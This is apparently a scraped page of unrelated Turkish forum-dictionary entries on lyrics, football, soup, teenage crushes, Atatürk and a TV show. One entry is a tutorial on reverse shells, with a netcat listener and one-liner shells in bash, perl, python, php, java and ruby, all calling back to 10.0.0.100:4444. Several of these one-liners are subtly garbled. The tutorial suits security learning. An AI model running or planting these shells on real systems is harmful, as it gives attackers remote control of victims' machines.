kayra/olmadım say

"insanla sınandım inatla inandım
kendimle sınandım ısrarla yanıldım
bir akşam öyle sarhoş olmuşum ki utandım
doğmadığımı sandım keşke hiç yanılmasaydım

garip bir lekeydin hemen fark edildin
sessiz evlerin çocuklarından sade biriydin
suratlar izledin isimler ezberledin
şimdi kim miyim? hatırlatın bilmek isterim

görmedin say, olmadım say, doğmadım say"

olayları akışına bırakmak,
etliye sütlüye karışmamak

bunun neden “sorunsal” olarak ifade edildiğini anlamadığım saçmalık. yazmayı ve okumayı seviyorum. story de atıyorum, enrty de giriyorum. ikisini de halledebiliyor olmak mı sorun? sözlük buram buram çorap mı koksun ayrıca?

olabiliiir.

hayatındaki olumsuzluklara takılı kalmak. olmuşsa olmuş, bırak önüne bak.

kahvaltıda güzel giden mıhlama da karadeniz yemeklerinden biridir.

"a101 harca harca bitmez."

(bkz: fakir avuntusu)

jedi olmaktan vazgeçip, dark side tarafında yer almaya benzeyen durum, hissiyat.

geri dönüşü olmayabilir, bunu farkedince kişi kendini "huysuz ihtiyar" kıvamında ve işi de işinden geçmiş bir şekilde bulabilir.

belhanda'nın şimdiye kadar yaptığı ettiği, verilmeyen cezalar falan bunlar geride kaldı konuşulmaya değmez. ama adam haklı beyler, koskoca galatasaray kulübü yıllardır bir zemini adam edemiyorsa bunu futbolcuda söyler hocada söyler yorumcuda söyler. maksimum bir zemin için türkiye şartlarında harcayacağın para 7-8 milyon tl arası. en iyi çim uzmanını getirsen alacağı para aylık 15 bin euro. yani kaba hesap 1 milyon dolar gibi bir paraya istersen wembley stadında ki gibi bir zemine sahip olabilirsin. ama ne yazık ki o vizyon yok işte. vizyon sağa sola saldırmak, kendine hata mal etmeyip sürekli etrafı suçlamak. ben bir taraftarım, taraftar gözü ile bakınca dahi bunları görebiliyorum, siz bu işin içindesiniz ve bunları göremiyorsanız ya salaksınız, ya da bizi koparıyosunuz. (bkz: kim kimi koparıyor kendi payının)

"daha çorba olmadı, şununla idare et" rezaleti...

gün ayacak da, çorba yok çorba!!!
size günaydın, bana biraz daha vakit var.

kimse sevdiği için birşey yapmak için gocunmaz. asıl sorun aynı tas çorbayı bir kadının önüne koymaya gocunmaktır.

lisede insan anca birinden hoşlanır, onu gözetler, ömrünün sonuna kadar o insanla beraber olacağını hayal edip rüyalara dalar, hormonların etkisiyle beyaz atlı prensini veya güzellik tanrıçanı falan bulduğunu sanar. pembe rüyalar görülür, pamuk şekerden bulutlar üzerinde hop hop hoplar. bu süre içinde kendini birinin sana “aşık” olduğu düşüncesine o kadar kaptırmış olursun ki, karşındakinin gösterdiği kırmızı bayrakları fark etmezsin bile. yok görülsen de, yerin dibine gömülsen de ama o beni seviyoor diye kendini avutursun, zaten o da öyle demiştir, yalan mı söyleyecek, ahahahaha, öyle bir imkan yok. sonra bir şekil karşındaki ergenden kurtulursun ve ayılırsın. tabii bu senaryo benim gibi ailesiyle çoğu şeyi konuşamayan insanların başına gelir genelde; bu tip evlerde aşktan, sevgiden konuşmak bile tabudur. ne kadar acı değil mi, aslında ne kadar güzel şeyler bunlar... sitemlerimi bir kenara koyayım da başka senaryoları ele alayım, aslında gerek de yok ama konuşmak istedim bu konuda.
bir başka senaryo da sevgililik meselelerinden daha haberdar insanların yaşayacağı lise hoşlantısı, ki muhtemelen üstteki senaryomdan çok daha güzel olur, bir gün biteceğini bilirsin, belki de inanmak istemezsin ama götürebildiğin kadar götürürsün. ilklerini yaşarsın, kelebekler uçuşur, daha masumsundur bu nedenle her şey ileride yaşayacaklarına nazaran çok çok daha tatlıdır. o güzel anılar hep akılda kalır, en azından öyle gözlemledim ben.
bir de ilişkilerini gerçekten inandıkları gibi sürdürebilen, yıllarca beraber kalan, evli mutlu çocuklu moduna girebilen lise aşıkları var ki takdire şayan. onlara da helal olsun demekten başka bir şey diyemiyorum açıkçası.
her halükarda güzel bir tecrübe olacağına inanıyorum lise hoşlantılarının, sevmek kadar masum ne var ki zaten, doğru kişi bulunduğu sürece nesi kötü olabilir ki?

--- alıntı ---

zamanında bir gün mecliste laiklik tartışılıyordur. tanındık din adamlarından biri kürsüye gelir, alay etmeye başlar: "arkadaşlar, bir laikliktir gidiyor. afedersiniz ben bu laikliğin manasını anlamıyorum. nedir bu laiklik?"

o gün meclis başkanlığı görevini yürüten atatürk alaycı üsluba dayanamaz. oturduğu yerden elini kürsüye vurur ve şöyle söze karışır: "adam olmaktır hocam, adam olmak!"

--- alıntı ---

daha iyi bir alternatif tanımını görmedim daha.
(bkz: laiklik adam olmaktır)

reverse shell nedir?

ters kabuk olarak türkçeleştirebildiğimiz ana bilgisayar üzerinden değil uzak bi bilgisayar üzerinden remote code execution zafiyetinden yararlanarak hedef makinede etkileşimli bir shell elde etmek ve saldırıyı derinleştirebilip root yetkisi kazanabbilmek için yapılan bir saldırı çeşididir. bugün ters kabukların pratik olarak nasıl çalıştığını açıklayacağız.

reverse shell nasıl çalışır?

ağ üzerinde bulunan bir hedefe bağlanabilmek için saldırgan makineye bir bağlanma isteği yollar ve bir oturum ister. ters kabuklar genellikle bir nat arkasındaki ana bilgisayara uzaktan erişim sağlamanın tek yoludur. bu sebeple meşrü kullanımları da vardır. fakat, siber güvenlikçiler ve hackerlar tarafından bir güvenlik sistemleri tarafından gelen bağlantılardan korunan ana bilgisayarda işletim sistemi kodlarını yürütmek için de kullanılabilirler. örneğin bir e-ticaret sitesine yüklenen zararlı kod kötü amaçlı bir web sitesi bir komut sunucusuna giden bir bağlantı başlatabilir ve saldırgana bu sayede app üzerinde bir reverse shell çalıştırabilir. güvenlik duvarları çoğu zaman bu trafiği filtreler ve bu nedenle listening server'a giden bir bağlantı genellikle başarılı olur.

reverse shell kod örnekleri

saldırgan ilk olarak reverse shell sayesinde aldığı bağlantiları dinlemek için kendi ana bilgisayarında bir dinleyici başlatması gerekir. vereceğim öğrenklerdeki dinleyicilerin ıp adreslerini 10.0.0.100 olarak bağlanamk istediğimiz port ise 4444 olsun. eğer bir linux kullanıcısıysanız bir netcat dinleyicisi başlatmak çocuk oyuncağıdır.

"nc -nvlp 4444"

bu 4444 numaral port'ta bir netcat dinleyicisi başlatır. saldırganın şimdi yapması gereken şey bu makineye uzaktan bağlanabilmek için hedef makinede saldırı kodunu yürütmeesi gerekir. çeşitli sistemler ve diller için birçok hazır reverse shell kodu mevcuttur.
link
pentestmokey bizim için yazıp bırakmış fakat nasıl çalıştığını görebilmek için birkaç tane basit reverse shell kodu yazalım

bash reverse shell

hedef linux bir makinada çalışıyorsa neredeyse tüm linux makinelerde bash bulunduğundan dolayı
bash ile başlamak akıllıca bir seçenektir.

/bin/bash -i > & /dev/tcp/10.0.0.100/4444 0>%1

perl reverse shell

bash gibi perl'de linux makinelerde default olarak gelen bir dildir. bunun içinde bir reverse
shell yazalım.

perl -e "use socket:#i="10.0.0.100";$p=4444;socket(s,pf_ınet,sock_stream,getprotobyname("tcp"));if(connect(s,sockaddr_in($p,inet_aton($i)))){open(stdın,">&s");open(stdout,">&s");open(stderr,">&s");exec("/bin/sh -i");};'

python reverse shell

evet geldik yine pythona son zamanlarda kazandığı popülarite ve yine linux makinelerde
defualt olarak geldiğinden python ile de bir reverse shell yazalım.

python -c 'import socket,subprocess,os;s=socket.socket(socket.af_ınet,socket.sock_stream);s.connect(("10.0.0.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php reverse shell

hala daha pek çok web server php üzerinden çalıştığından dolayı pek çok eğitim sitesinde
ctf'lerde en çok gördüğünüz kabuktur. (&3 eğer çalışmıyorsa yanında yazılan diğer değerleri
deneyin.

php -r '$sock=fsockopen("10.0.0.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

java reverse shell

javayı hiç sevmem zerre haz etmem kendisinden fakat bu application serverlarda kullanıldığı gerçeğini değiştirmiyor. (java severler ve oop'yi koruyalım kolluyalım ve ona adaklar adayalım
derneği lütfen az linçleyin). bak bunun için gittim biraz java öğrendim geldim.

run = runtime.getruntime()
port = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/10.0.0.100/4444; cat <&5 | while read line; do \$line 2>&5 >&5; done] as string[])
port.waitfor()

???? ??????? ?????

yaklaşık 5 senedir her ay öğreneceğim diyip öğrenmediğim kod okuya okuya aşina olduğum bir dildir kendileri. sunucu içinde ruby interpreter'ının bulunmasının muhtemel olduğundan dolayı son olarak bunu da son örneğimiz olarak ekleyelim

ruby -rsocket -e'f=tcpsocket.open("10.0.0.100",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

örneklerimiz tükendi ben bildiklerimi tekrar etmiş oldum ve yine güzel bir kaynak ürettik gibi geliyor. gelecekteki konulara kadar sağlıcakla kalın efendim guardian kaçar.

--- alıntı ---

atın su içtiği yerden su iç.
at kötü su içmez.
kedinin yattığı yerde uyu,
kurdun yediği elmayı ye.
yoksa ayvayı yersin…
horozlarla beraber uyu ve uyan ki amacına ulaşabilesin.
daha sık gökyüzüne bak, daha az ayaklara, böylece düşüncelerin daha net ve hafif olsun.
konuşmak yerine, daha çok sessiz kal;
böylelikle ruhun sakinliğe ve huzura ersin…

--- alıntı ---



tanım: kızılderili öğretilerini paylaştığımız başlıktır.

"yeni evlenecek bir çiftin düğün arabasının arkasına yazdığı söz;

"kütüphanelerimizi birleştiriyoruz."

ilk çıktığında futbolcuların komiklik yaptığı magazin programıyken, bu gidişatın futbolcuların kariyerine zarar vereceği düşünülünce ibre şöhretli ünlülere çevrildi. futbol ile magazini birleştiren program, ekrana geldiği dönemde her hafta reyting rekorları kırdı, gençlere etkisi çok tartışıldı. lüks otomobillerin, yatların, katların, tatillerin görüntüsü, ibiza'dan miami' ye uzanan ışıltılı hayatlar ekran karşısındakilerde öfke birikimine sebep olacaktı ki dönemin mit müsteşarı televoleler, adamı komünist yapar diye açıklama yaptı. kanal d'deki televole' ye show tv'deki televole de eklenince iki televole'ye birden maruz kaldık.

doksanlardan başlayıp ikibinlere kadar maraba televole repliği ile başlayıp devam etti. spor magazin programı olarak başlayıp daha sonra yalnızca magazine dönüşen, eğlendiren bir popüler kültür ürünü oldu. izlenme oranları artınca en ilginç ve en çarpıcı haber üretme programı vazifesi üstlendi. uçuk kaçık, açık saçık, en garip, resmiyetten uzak olaylar önemli habermiş gibi sunuluyor, seyrettiriliyor ve geçip gidiyordu. yani, hayata çok da olumlu katkı yaptığı söylenemezdi. kaynağı, nereden gelirse gelsin, fazla paralı olunduğunda güzel kadınlara ulaşmanın kolay olduğu algısı oluşturuldu.

merhametli ve neşeli insandır.

normal bir bireydir. abartılacak bir tarafı olduğunu sanmıyorum.

(bkz: sevim koş bunların romantizmi gelmiş)

dudak kenarı derim. arkadaşla sevgilinin tam ortası.*